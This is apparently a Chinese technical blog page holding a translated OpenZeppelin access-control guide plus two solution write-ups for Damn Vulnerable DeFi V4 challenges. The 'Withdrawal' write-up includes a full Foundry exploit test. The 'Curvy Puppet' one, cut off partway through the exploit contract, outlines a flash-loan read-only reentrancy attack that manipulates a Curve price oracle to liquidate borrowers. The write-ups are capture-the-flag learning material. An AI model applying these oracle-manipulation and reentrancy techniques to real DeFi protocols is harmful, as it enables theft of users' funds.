首页
Search
1
yamux: how to work?
79 阅读
2
The Art of Memory Allocation: Malloc, Slab, C++ STL, and GoLang Memory Allocation
70 阅读
3
How to receive a network packet in Linux
63 阅读
4
Maps and Memory Leaks in Go
54 阅读
5
C++ redis connection pool
52 阅读
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
登录
Search
标签搜索
web3
solidity
web3 security
c++
uniswapV3
redis
evm
uniswap
性能测试
k8s
wireguard
CNI
http
tailscale
nginx
linux
设计模式
Jericho
累计撰写
51
篇文章
累计收到
13
条评论
首页
栏目
测试
Wireguard
K8s
Redis
C++
Golang
Libcurl
Tailscale
Nginx
Linux
web3
Uniswap V2
Uniswap V3
EVM
security
solidity
openzeppelin
页面
搜索到
29
篇与
的结果
2025-10-28
Openzeppelin-Access Control
一、Access Control访问控制——即“谁被允许做这件事”——在智能合约的世界中至关重要。您的合约的访问控制可能决定谁能铸造代币、对提案进行投票、冻结转账以及其他许多事情。因此,理解如何实现它是至关重要的,以免其他人窃取您的整个系统。1.Ownership and Ownable 所有权和 Ownable最常见和最基本的访问控制形式是所有权的概念:有一个账户是合约的 owner ,可以在其上执行管理任务。对于只有一个管理用户的合约来说,这种方法是完全可以接受的。OpenZeppelin Contracts 提供了 Ownable 来实现您合约中的所有权。// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; contract MyContract is Ownable { constructor(address initialOwner) Ownable(initialOwner) {} function normalThing() public { // anyone can call this normalThing() } function specialThing() public onlyOwner { // only the owner can call specialThing()! } }部署时, Ownable 合约的 owner 被设置为提供的 initialOwner 参数。Ownable 还允许你:将 transferOwnership 从所有者账户转移到新的账户,以及renounceOwnership让所有者放弃这个管理权限,在集中式管理阶段结束后,这是一个常见模式。完全移除所有者意味着受 onlyOwner 保护的管理任务将不再可调用!Ownable 是一种简单而有效的访问控制实现方式,但您应注意将所有权转移到一个无法再与此合约交互的错误账户所带来的风险。解决这个问题的一个替代方案是使用 Ownable2Step ;一种 Ownable 变体,要求新所有者通过调用 acceptOwnership 明确接受所有权转移。请注意,合约也可以是另一个合约的所有者!这为使用例如 Gnosis Safe、Aragon DAO 或您自己创建的完全自定义合约打开了大门。通过这种方式,您可以使用组合性为您的合约添加额外的访问控制复杂层。您不必使用单个常规以太坊账户(外部所有账户,或 EOA)作为所有者,而是可以使用由您的项目领导者运行的 2-of-3 多重签名,例如。该领域著名的项目,如 MakerDAO,使用类似此系统的方案。2.Role-Based Access Control 基于角色的访问控制虽然所有权的简单性对于简单系统或快速原型设计可能很有用,但通常需要不同级别的授权。您可能希望一个账户有权限从系统中禁止用户,但不创建新代币。基于角色的访问控制(RBAC)在这方面提供了灵活性。本质上,我们将定义多个角色,每个角色允许执行不同的操作集。例如,一个账户可能有“moderator”、“minter”或“admin”角色,然后您将检查这些角色,而不是简单地使用 onlyOwner 。这个检查可以通过 onlyRole 修饰符来强制执行。另外,您将能够定义规则,说明如何授予账户角色、撤销角色等。大多数软件使用基于角色的访问控制系统:一些用户是普通用户,一些可能是supervisors或者managers,而少数通常具有管理员权限。3.Using AccessControl 使用 `AccessControlOpenZeppelin Contracts 提供 AccessControl 用于实现基于角色的访问控制。其使用方法非常简单:对于您想要定义的每个角色,您将创建一个新的角色标识符,该标识符用于授予、撤销和检查一个账户是否具有该角色。这里有一个使用 AccessControl 在 ERC-20 代币中定义“铸造者”角色的简单示例,该角色允许拥有该角色的账户创建新的代币:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessControlERC20MintBase is ERC20, AccessControl { // Create a new role identifier for the minter role bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); error CallerNotMinter(address caller); constructor(address minter) ERC20("MyToken", "TKN") { // Grant the minter role to a specified account _grantRole(MINTER_ROLE, minter); } function mint(address to, uint256 amount) public { // Check that the calling account has the minter role if (!hasRole(MINTER_ROLE, msg.sender)) { revert CallerNotMinter(msg.sender); } _mint(to, amount); } }在使用 AccessControl 在您的系统上之前,请确保您完全理解其工作原理,或者从本指南中复制粘贴示例。虽然清晰明确,但这并不是我们无法通过 Ownable 实现的事情。事实上, AccessControl 的优势在于需要细粒度权限的场景,这可以通过定义多个角色来实现。让我们通过定义一个“销毁者”角色来增强我们的 ERC-20 代币示例,该角色允许账户销毁代币,并使用 onlyRole 修饰符:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessControlERC20Mint is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); constructor(address minter, address burner) ERC20("MyToken", "TKN") { _grantRole(MINTER_ROLE, minter); _grantRole(BURNER_ROLE, burner); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } function burn(address from, uint256 amount) public onlyRole(BURNER_ROLE) { _burn(from, amount); } }太干净了!通过这种方式分离关注点,可以实现比简单的所有权方法访问控制更细粒度的权限级别。限制系统每个组件能够做什么被称为最小权限原则,这是一种良好的安全实践。请注意,每个账户仍然可以有多个角色,如果需要的话。4.Granting and Revoking Roles 授权和撤销角色上述的 ERC-20 代币示例使用了 _grantRole ,这是一个在程序化分配角色(如在构造期间)时非常有用的 internal 函数。但如果我们后来想将'minter'角色授予其他账户,该怎么办?默认情况下,具有角色的账户不能将其授予或撤销给其他账户:拥有角色仅意味着让 hasRole 检查通过。若要动态地授予和撤销角色,您需要角色的管理员协助。每个角色都有一个关联的 admin 角色,该角色拥有调用 grantRole 和 revokeRole 函数的权限。如果调用账户具有相应的 admin 角色,则可以通过这些函数来授予或撤销角色。为了便于管理,多个角色可以拥有相同的 admin 角色。一个角色的 admin 甚至可以是该角色本身,这将导致具有该角色的账户也能够授予和撤销该角色。这种机制可用于创建类似于组织结构的复杂权限结构,但它也提供了一种管理简单应用的方法。 AccessControl 包含一个特殊角色,称为 DEFAULT_ADMIN_ROLE ,它作为所有角色的默认管理员角色。具有此角色的账户将能够管理任何其他角色,除非使用 _setRoleAdmin 选择一个新的管理员角色。由于它默认是所有角色的管理员,实际上它也是自己的管理员,这个角色具有显著的风险。为了降低这种风险,我们提供了 AccessControlDefaultAdminRules ,它是 AccessControl 的一个推荐扩展,为这个角色添加了一系列强制安全措施:管理员被限制在一个账户上,并且需要经过一个带有步骤间延迟的两步转账程序。让我们看看 ERC-20 代币示例,这次利用默认的管理员角色:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessControlERC20MintMissing is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); constructor() ERC20("MyToken", "TKN") { // Grant the contract deployer the default admin role: it will be able // to grant and revoke any roles _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); } function mint(address to, uint256 amount) public onlyRole(MINTER_ROLE) { _mint(to, amount); } function burn(address from, uint256 amount) public onlyRole(BURNER_ROLE) { _burn(from, amount); } }请注意,与前面的示例不同,没有账户被授予“铸造者”或“销毁者”角色。然而,因为这些角色的管理员角色是默认管理员角色,并且该角色已授予 msg.sender ,该账户可以调用 grantRole 来授予铸造或销毁权限,并调用 revokeRole 来移除这些权限。动态角色分配通常是一个理想的特性,例如在信任度可能随时间变化的参与者的系统中。它还可以用于支持 KYC 等用例,其中角色持有者列表可能事先未知,或者包含在单个交易中可能成本过高。5.Querying Privileged Accounts 查询特权账户由于账户可能会动态地授予和撤销角色,因此无法总是确定哪些账户持有特定角色。这很重要,因为它允许证明系统的一些特定属性,例如管理账户是多签或 DAO,或者某个角色已被从所有用户中移除,从而有效地禁用任何相关功能。在底层, AccessControl 使用了 EnumerableSet ,这是 Solidity 的 mapping 类型的更强大的变体,它允许进行键枚举。可以使用 getRoleMemberCount 来获取具有特定角色的账户数量,然后调用 getRoleMember 来获取这些账户的地址。const minterCount = await myToken.getRoleMemberCount(MINTER_ROLE); const members = []; for (let i = 0; i < minterCount; ++i) { members.push(await myToken.getRoleMember(MINTER_ROLE, i)); }6.Delayed operation 延迟操作访问控制对于防止未经授权访问关键功能至关重要。这些功能可用于铸造代币、冻结转账或执行完全改变智能合约逻辑的升级。虽然 Ownable 和 AccessControl 可以防止未经授权的访问,但它们并未解决不良管理员攻击其自身系统损害用户利益的问题。这就是 TimelockController 所要解决的问题。TimelockController 是一个由提议者(proposers)和执行者(executors)管理的代理。当设置为智能合约的所有者/管理员/控制器时,它确保提议者所下达的任何维护操作都会受到延迟。这种延迟通过给予用户时间来审查维护操作,并在他们认为这样做符合自身利益时退出系统,从而保护智能合约的用户。7.Using TimelockController 使用 `TimelockController默认情况下,部署 TimelockController 的地址将获得对时间锁的管理权限。此角色赋予分配提议者、执行者和其他管理者的权利。配置 TimelockController 的第一步是为至少一个提议者和一个执行者分配角色。这些角色可以在构造时分配,或稍后由具有管理员角色的任何人分配。这些角色不是排他的,这意味着一个账户可以同时拥有这些角色。角色通过 AccessControl 接口进行管理,每个角色的 bytes32 值可以通过 ADMIN_ROLE 、 PROPOSER_ROLE 和 EXECUTOR_ROLE 常量访问。AccessControl 之上还有一个附加功能:将执行者角色赋予 address(0) ,在时间锁过期后,任何人都可以执行提案。虽然这个功能很有用,但应该谨慎使用。此时,由于已经分配了提议者和执行者,时间锁可以执行操作。一个可选的后续步骤是部署者放弃其管理权限,并将时间锁自我管理。如果部署者决定这样做,所有进一步的维护工作,包括指派新的提议者/调度者或更改时间锁持续时间,都必须遵循时间锁工作流程。这将时间锁的治理与连接到时间锁的合约的治理联系起来,并对时间锁维护操作实施延迟。如果部署者放弃管理权以支持时间锁本身,指派新的提议者或执行者将需要时间锁操作。这意味着如果负责这两个角色中的任何一个的账户变得不可用,那么整个合约(以及它控制的任何合约)将无限期锁定。在提议者和执行者角色分配完毕,并且时间锁负责其自身管理的情况下,您现在可以将任何合约的所有权/控制权转移给时间锁。推荐配置是将这两个角色授予一个安全的治理合约,例如 DAO 或多签合约,并额外将执行者角色授予由负责协助维护操作的人员持有的几个 EOA。这些钱包不能接管时间锁的控制,但可以帮助使工作流程更加顺畅。8.Minimum delay 最小延迟由 TimelockController 执行的操作不受固定延迟的限制,而是受最小延迟的限制。某些重大更新可能需要更长的延迟。例如,如果几天的时间就足以让用户审计一次铸造操作,那么在安排智能合约升级时,使用几周甚至几个月的延迟是合理的。最小延迟(可通过 getMinDelay 方法访问)可以通过调用 updateDelay 函数进行更新。请记住,只有时间锁本身才能访问此函数,这意味着此维护操作必须通过时间锁本身进行。9.Access Management 访问管理对于合约系统,使用 AccessManager 实例可以实现更好的角色集成管理。与分别管理每个合约的权限不同,AccessManager 将所有权限存储在一个合约中,使您的协议更容易进行审计和维护。尽管 AccessControl 比 Ownable 为您的合约添加权限提供了更动态的解决方案,但在集成新的合约实例后,去中心化协议往往会变得更加复杂,并且需要您在每个合约中分别跟踪权限。这增加了权限管理和监控的复杂性。生产系统中的权限管理协议通常需要更集成的替代方案,以应对通过多个 AccessControl 实例产生的碎片化权限。AccessManager 的设计围绕角色和目标功能的概念展开:角色以多对多的方式授予账户(地址),以实现灵活性。这意味着每个用户可以有一个或多个角色,多个用户可以拥有相同的角色。对受限目标函数的访问仅限于一个角色。目标函数由一个合约(称为目标)上的一个函数选择器定义。要授权一个调用,调用者必须拥有分配给当前目标函数(合约地址 + 函数选择器)的角色。10.Using AccessManager 使用 `AccessManagerOpenZeppelin Contracts 提供 AccessManager 用于跨任意数量合约管理角色。 AccessManager 本身是一个可以即部署即用的合约。它在构造函数中设置了一个初始管理员,该管理员将被允许执行管理操作。为了限制对合约某些函数的访问,您应该继承与管理者一起提供的 AccessManaged 合约。这提供了 restricted 修饰符,可用于保护任何对外部可见的函数。请注意,您必须在构造函数中指定 AccessManager 实例的地址( initialAuthority ),以便 restricted 修饰符知道使用哪个管理者来检查权限。这里是一个简单的 ERC-20 代币示例,它定义了一个 mint 函数,该函数受到 AccessManager 的限制:// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import {AccessManaged} from "@openzeppelin/contracts/access/manager/AccessManaged.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract AccessManagedERC20Mint is ERC20, AccessManaged { constructor(address manager) ERC20("MyToken", "TKN") AccessManaged(manager) {} // Minting is restricted according to the manager rules for this function. // The function is identified by its selector: 0x40c10f19. // Calculated with bytes4(keccak256('mint(address,uint256)')) function mint(address to, uint256 amount) public restricted { _mint(to, amount); } }在使用 AccessManager 之前或从本指南中复制粘贴示例之前,请确保您完全理解 AccessManager 的工作原理。一旦托管合约部署完成,它就处于管理者的控制之下。初始管理员可以将铸造者角色分配给一个地址,并允许该角色调用 mint 函数。例如,以下是用 Ethers.js 编写的 JavaScript 代码演示了这一点:const MINTER = 42n; // Roles are uint64 (0 is reserved for the ADMIN_ROLE) await manager.grantRole(MINTER, user, 0); await manager.setTargetFunctionRole( target, ['0x40c10f19'], // bytes4(keccak256('mint(address,uint256)')) MINTER );尽管每个角色都有其自身的功能权限列表,但每个角色成员( address )都有一个执行延迟,这将决定账户在执行需要其角色的功能时需要等待多长时间。延迟操作必须在 AccessManager 中先调用 schedule 函数,然后才能执行,无论是调用目标函数还是使用 AccessManager 的 execute 函数。此外,角色可以设置授权延迟,以防止立即添加成员。AccessManager 管理员可以按以下方式设置此授权延迟:const HOUR = 60 * 60; const GRANT_DELAY = 24 * HOUR; const EXECUTION_DELAY = 5 * HOUR; const ACCOUNT = "0x..."; await manager.connect(initialAdmin).setGrantDelay(MINTER, GRANT_DELAY); await manager.connect(initialAdmin).grantRole(MINTER, ACCOUNT, EXECUTION_DELAY);请注意,角色不定义名称。与 AccessControl 情况相反,角色被识别为数值,而不是在合约中以 bytes32 值硬编码。仍然可以使用 labelRole 函数通过角色标签来允许工具发现(例如用于角色探索)。await manager.labelRole(MINTER, "MINTER");由于 AccessManaged 的管理员可以修改所有权限,建议仅将一个管理员地址安全地保存在多重签名或治理层下。为此,初始管理员可以设置所有必需的权限、目标和函数,分配新的管理员,并最终放弃其管理员角色。为了改进事件响应协调,管理员模式允许完全关闭目标合约。当合约关闭时,所有对目标合约中受限目标函数的调用都将回滚。关闭和开启合约不会更改任何设置,无论是权限还是延迟。特别是,调用特定目标函数所需的角色不会被修改。这种模式适用于需要暂时关闭合约以评估紧急情况并重新配置权限的事件响应操作。const target = await myToken.getAddress();await manager.setTargetClosed(target, true);await manager.setTargetClosed(target, false);即使一个 AccessManager 为目标函数定义了权限,如果管理的合约实例没有使用 restricted 修饰符,或者其管理者不同,这些权限也不会被应用。11.Role Admins and Guardians 角色管理员和守护者AccessControl 合约的一个重要方面是角色成员不会授予或撤销角色。相反,它依赖于角色管理员的概念来授予和撤销。对于 AccessManager ,同样适用此规则,只有该角色的管理员能够调用 grant 和 revoke 函数。请注意,调用这些函数将受到执行角色管理员执行延迟的影响。此外, AccessManager 还为每个角色存储一个守护者作为额外的保护。这个守护者有能力取消任何角色成员已安排的、有执行延迟的操作。考虑一个角色将默认将其初始管理员和守护者设置为 ADMIN_ROLE ( 0 )。对 ADMIN_ROLE 的成员要小心,因为它作为每个角色的默认管理员和监护人。行为不当的监护人可以随意取消操作,影响 AccessManager 的运行。12.Manager configuration 管理器配置AccessManager 提供了一个内置界面,用于配置权限设置,其 ADMIN_ROLE 成员可以访问。此配置界面包括以下功能:使用 labelRole 函数为角色添加标签。为角色分配管理员和监护人,使用 setRoleAdmin 和 setRoleGuardian 。通过 setGrantDelay 设置每个角色的授权延迟。作为管理员,某些操作将需要延迟。类似于每个成员的执行延迟,一些管理员操作需要等待执行,并应遵循 schedule 和 execute 工作流程。更具体地说,这些延迟函数是用于配置特定目标合约设置的函数。这些函数应用的延迟可以通过管理员使用 setTargetAdminDelay 调整。延迟的管理员操作包括:更新 AccessManaged 合约的授权方使用 updateAuthority 。通过 setTargetClosed 关闭或打开目标。通过 setTargetFunctionRole 更改权限,以决定角色是否可以调用目标函数。13.Using with Ownable 与 Ownable 一起使用已经从 Ownable 继承的合约可以通过将所有权转移给管理员迁移到 AccessManager。之后,所有带有 onlyOwner 修饰符的函数调用都应该通过管理员的自 execute 函数进行,即使调用者不需要延迟。await ownable.connect(owner).transferOwnership(accessManager);14.Using with AccessControl 与 AccessControl 一起使用For systems already using AccessControl, the DEFAULT_ADMIN_ROLE can be granted to the AccessManager after revoking every other role. Subsequent calls should be made through the manager’s execute method, similar to the Ownable case.对于已经使用 AccessControl 的系统,在撤销所有其他角色后,可以将 DEFAULT_ADMIN_ROLE 授予 AccessManager 。后续调用应该通过管理员的自 execute 方法进行,类似于 Ownable 的情况。await accessControl.connect(admin).revokeRole(MINTER_ROLE, account);await accessControl.connect(admin).grantRole(DEFAULT_ADMIN_ROLE, accessManager);await accessControl.connect(admin).renounceRole(DEFAULT_ADMIN_ROLE, admin);
2025年10月28日
1 阅读
0 评论
1 点赞
2025-09-10
Damn-vulnerable-defi-V4-solution(Withdrawal)
一、Withdrawal背景:我们有四个日志事件,分别对应以下内容:event MessageStored( bytes32 id, uint256 indexed nonce, address indexed caller, address indexed target, uint256 timestamp, bytes data );其中第一个日志的topics内容如下[ { "topics": [ "0x43738d035e226f1ab25d294703b51025bde812317da73f87d849abbdbb6526f5", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x00000000000000000000000087EAD3e78Ef9E26de92083b75a3b037aC2883E16", "0x000000000000000000000000fF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5" ], "data": "0xeaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba0000000000000000000000000000000000000000000000000000000066729b630000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010401210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" }, ... ]topics中的四行对应于事件签名和三个索引参数:nonce、caller和target。// topic of first Log (same for all Logs except for nonce) nonce: 0 caller: 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16 // l2Handler target: 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5 // l1Forwarder第一个日志的data部分如下// data from first Log eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id 0000000000000000000000000000000000000000000000000000000066729b63 // timestamp 0000000000000000000000000000000000000000000000000000000000000060 // offset 0000000000000000000000000000000000000000000000000000000000000104 // length 01210a38 // L1Forwarder.forwardMessage(uint256 nonce, // address l2Sender, address target,bytes memory message) 0000000000000000000000000000000000000000000000000000000000000000 // nonce 000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender 0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target (l1TokenBridge) 0000000000000000000000000000000000000000000000000000000000000080 // offset 0000000000000000000000000000000000000000000000000000000000000044 // length 81191e51 // TokenBridge.executeTokenWithdrawal(address receiver, uint256 amount) 000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver 0000000000000000000000000000000000000000000000008ac7230489e80000 // amount 10e18 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000"检查其他三条日志的数据。事实证明,所有日志都对应于以下执行:最后,TokenBridge.executeTokenWithdrawal调用的金额为 10e18。然而,对于第三个 Log,金额要大得多——9.99e23。初始交易TokenBridge量为 1e24 DVT。我们的目标是完成所有四笔交易,同时保留至少 99% 的 DVT。这似乎不可能,因为第三次提款金额为 9.99e23 DVT。然而,我们只需要完成提款;也就是说,我们实际上不需要担心调用是否成功。即使调用失败,由于我们使用了call,也不会导致 revert,代码将继续执行。revert 的传播机制EVM 提供了两种“失败方式”:正常结束(STOP 或 RETURN) → 上层 CALL 的 success = 1。异常结束(REVERT 或 INVALID / out-of-gas) → 上层 CALL 的 success = 0。当 inner call 返回 success=0 时:如果你是直接写 CALL(即 Solidity 里的低级 address.call(...)),那么结果就只是一个布尔值,除非你自己处理,否则不会影响当前执行。如果你写的是“普通调用”(otherContract.foo()),Solidity 编译器在外层会自动检查 success,如果是 0,它会立刻发起一个 REVERT,把 returndata 原封不动返回给上层调用者。// L1GateWay.sol function finalizeWithdrawal( uint256 nonce, address l2Sender, address target, uint256 timestamp, bytes memory message, bytes32[] memory proof ) external { if (timestamp + DELAY > block.timestamp) revert EarlyWithdrawal(); bytes32 leaf = keccak256(abi.encode(nonce, l2Sender, target, timestamp, message)); // Only allow trusted operators to finalize without proof bool isOperator = hasAnyRole(msg.sender, OPERATOR_ROLE); if (!isOperator) { if (MerkleProof.verify(proof, root, leaf)) { emit ValidProof(proof, root, leaf); } else { revert InvalidProof(); } } if (finalizedWithdrawals[leaf]) revert AlreadyFinalized(leaf); // state changes before external call finalizedWithdrawals[leaf] = true; counter++; xSender = l2Sender; bool success; assembly { success := call(gas(), target, 0, add(message, 0x20), mload(message), 0, 0) // call with 0 value. Don't copy returndata. } xSender = address(0xBADBEEF); emit FinalizedWithdrawal(leaf, success, isOperator); }因此,我们的想法是先完成第一笔、第二笔和第四笔提现,然后再进行一次额外的提现,这样我们的余额就能保持在 1e24 DVT 的 99% 以上,但低于 99.9%。这样,我们就可以尝试执行第三次提现——即使我们没有足够的余额来完成它,第三次提现仍然会被完成。这是我们的解决方案:我们执行三次最终提款(第一次、第二次和第四次)。l1Gateway.finalizeWithdrawal(nonce, l2Hander, l1Forwarder, message)在我们的解决方案中,我们使用十六进制字符串作为消息,但它实际上意味着什么?例如,第一个日志:message = abi.encodeCall(l1Forwarder.forwardMessage, (nonce, l2Sender, l1Gateway, abi.encodeCall(l1Gateway.executeTokenWithdrawal, (l2Sender, amount))为了最终完成,我们将第一、第二和第四次提款的金额分别设置为 10e18。在实际进行第三次提款之前,我们提取了 10e21(占所有代币的 0.1%)。由于剩余代币不足,因此无法提取 99.9%。之后,我们完成第三次提款,且不损失任何代币。function test_withdrawal() public checkSolvedByPlayer { bytes32[] memory proof = new bytes32[](0); vm.warp(block.timestamp + 7 days + 212); // Finalize first, second, fourth withdrawal l1Gateway.finalizeWithdrawal(0, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786915, hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); l1Gateway.finalizeWithdrawal(1, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718786965, hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); l1Gateway.finalizeWithdrawal(3, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787127, hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", proof); // Finalize an extra withdrawal before third withdrawal l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000000000000000000000000000000000000", proof); // There are not enough tokens for withdrawal, so no tokens are withdrawn l1Gateway.finalizeWithdrawal(2, 0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, 0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, 1718787050, hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", proof); }
2025年09月10日
11 阅读
0 评论
1 点赞
2025-09-09
Damn-vulnerable-defi-V4-solution(Curvy Puppet)
一、Curvy Puppet背景:我们有一个 Curve 池,用于实现 ETH 和 stETH 之间的稳定兑换。此外,我们还有一个借贷池,允许用户通过抵押 DVT 代币从 Curve 池中借入 LP 代币。在此设置中,DVT 代币价值 10,而 ETH 价值 4000。LP 代币具有虚拟价格,定义为总流动性(记为D)除以 LP 代币的总供应量。初始虚拟价格约为 1.09 ETH。三位用户分别存入2500 DVT(总价值 25,000)作为抵押品,借入1 个 LP 代币(价值约 4,360)。只要抵押品价值高于借入价值的 1.75 倍,则抵押品被视为安全。否则,任何人都可以调用该liquidate()函数,通过偿还借入的 LP 代币数量来扣押抵押品。我们可以观察到,池子里有 35 万个 ETH 和 stETH,其中约有 70 万个 LP 代币被铸造。我们初始投入的是 200 个 WETH 和 6.5 个 LP 代币。Curve 池的 AMM 公式如下$$ K × D × (x+y) + x × y =K × D² + (D / 2)² $$$$ K = A × x × y / (D / 2)² $$其中,A为放大参数,D表示总流动性。不难看出,这个方程介于两种行为之间:在平衡点 x ≈ y ≈ D / 2 附近,该公式的行为类似于线性不变量:x + y = D。当一个代币变得稀缺时(例如 x → 0),它的行为更像一个常数乘积不变量:x × y = (D / 2)²。Curve stable swap使用牛顿法,通过给定另一个数值来求解 x 或 y。注意:与 Uniswap V2 或 V3 不同,Curve 的稳定币兑换不能用于闪电贷。您必须先存入一个代币,然后才能兑换另一个代币——Curve 没有原生机制可以通过回调在单笔交易中借入和返还代币。挑战在于操纵预言机价格,使借入价值的 1.75 倍超过抵押品价值,从而实现清算。DVT 价格(以 ETH 为单位)由部署者固定为每 ETH 10 DVT(ETH 价格为 4000),且不可更改。然而,LP 代币价格取决于虚拟价格乘以 ETH 价格,其中虚拟价格计算公式为:D / LP 代币总量如果我们能够获得足够多的 LP 代币,我们可以尝试以下策略:在这种情况下,我们能够操纵并提高预言机观察到的价格。这就是所谓的只读重入漏洞的一个实例。那么,我们需要多少 LP 代币才能发起这次攻击呢?我们只持有 6.5 个 LP 代币,而 LP 代币总数为 69,000 个,因此仅用我们自己的代币移除流动性几乎不会对虚拟价格产生任何影响。攻击思路准备闪电贷资金从 AAVE 借入大额的 stETH + WETH。再从 Balancer 借入额外的 WETH,叠加资金规模。操纵 Curve 池子价格把 WETH 换成 ETH,和 stETH 一起加到 Curve 池子里,制造流动性失衡。这样能显著改变 get_virtual_price()。移除流动性,触发回调大规模移除流动性,导致协议认为抵押品贬值。在 Curve 返还 ETH 的过程中,会触发合约的 receive()。在回调中执行清算调用 CurvyPuppetLending.liquidate(),一次性清算 Alice / Bob / Charlie 三个用户。因为此时价格被操纵,清算逻辑错误 → 攻击者获利。归还闪电贷 & 提取利润把借来的资金归还给 AAVE 和 Balancer。最后把 WETH + 1 个 LP token + 7500 DVT 转回 Treasury,完成关卡要求。function test_curvyPuppet() public checkSolvedByPlayer { IERC20 curveLpToken = IERC20(curvePool.lp_token()); Exploit exploit = new Exploit( curvePool, lending, curveLpToken, address(player), TREASURY_LP_BALANCE, stETH, weth, address(treasury), dvt ); // Transfer LP tokens and WETH to the exploit contract curveLpToken.transferFrom(address(treasury), address(exploit), TREASURY_LP_BALANCE); weth.transferFrom(address(treasury), address(exploit), TREASURY_WETH_BALANCE); exploit.executeExploit(); }contract Exploit { IStableSwap public curvePool; CurvyPuppetLending public lending; IERC20 public curveLpToken; address public player; uint256 public treasuryLpBalance; IERC20 stETH; WETH weth; address treasury; DamnValuableToken dvt; 